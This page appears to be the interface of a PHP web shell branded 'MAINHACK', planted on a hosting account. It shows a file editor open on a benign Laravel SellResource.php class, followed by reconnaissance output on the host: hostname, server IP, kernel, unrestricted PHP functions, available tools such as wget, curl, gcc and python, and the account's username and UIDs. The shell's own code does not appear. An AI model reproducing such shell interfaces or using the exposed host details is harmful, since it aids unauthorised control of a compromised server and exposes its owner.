[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SellResource.php
<?php namespace Modules\Connector\Transformers; use App\Utils\Util; use Illuminate\Http\Resources\Json\JsonResource; class SellResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request * @return array */ public function toArray($request) { $array = parent::toArray($request); foreach ($array['sell_lines'] as $key => $value) { //check if mapping exists if (isset($value['sell_line_purchase_lines'])) { $purchase_lines = []; foreach ($value['sell_line_purchase_lines'] as $sell_line_purchase_line) { //check mapped purchase line if (isset($sell_line_purchase_line['purchase_line'])) { //get purchase details of the sell line $purchase_lines[] = [ 'purchase_price' => $sell_line_purchase_line['purchase_line']['purchase_price'], 'pp_inc_tax' => $sell_line_purchase_line['purchase_line']['purchase_price_inc_tax'], 'lot_number' => $sell_line_purchase_line['purchase_line']['lot_number'], ]; } } //unset mapping and set purchase details unset($array['sell_lines'][$key]['sell_line_purchase_lines']); $array['sell_lines'][$key]['purchase_price'] = $purchase_lines; } } $commonUtil = new Util; $array['invoice_url'] = $commonUtil->getInvoiceUrl($array['id'], $array['business_id']); $array['payment_link'] = $commonUtil->getInvoicePaymentLink($array['id'], $array['business_id']); return $array; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285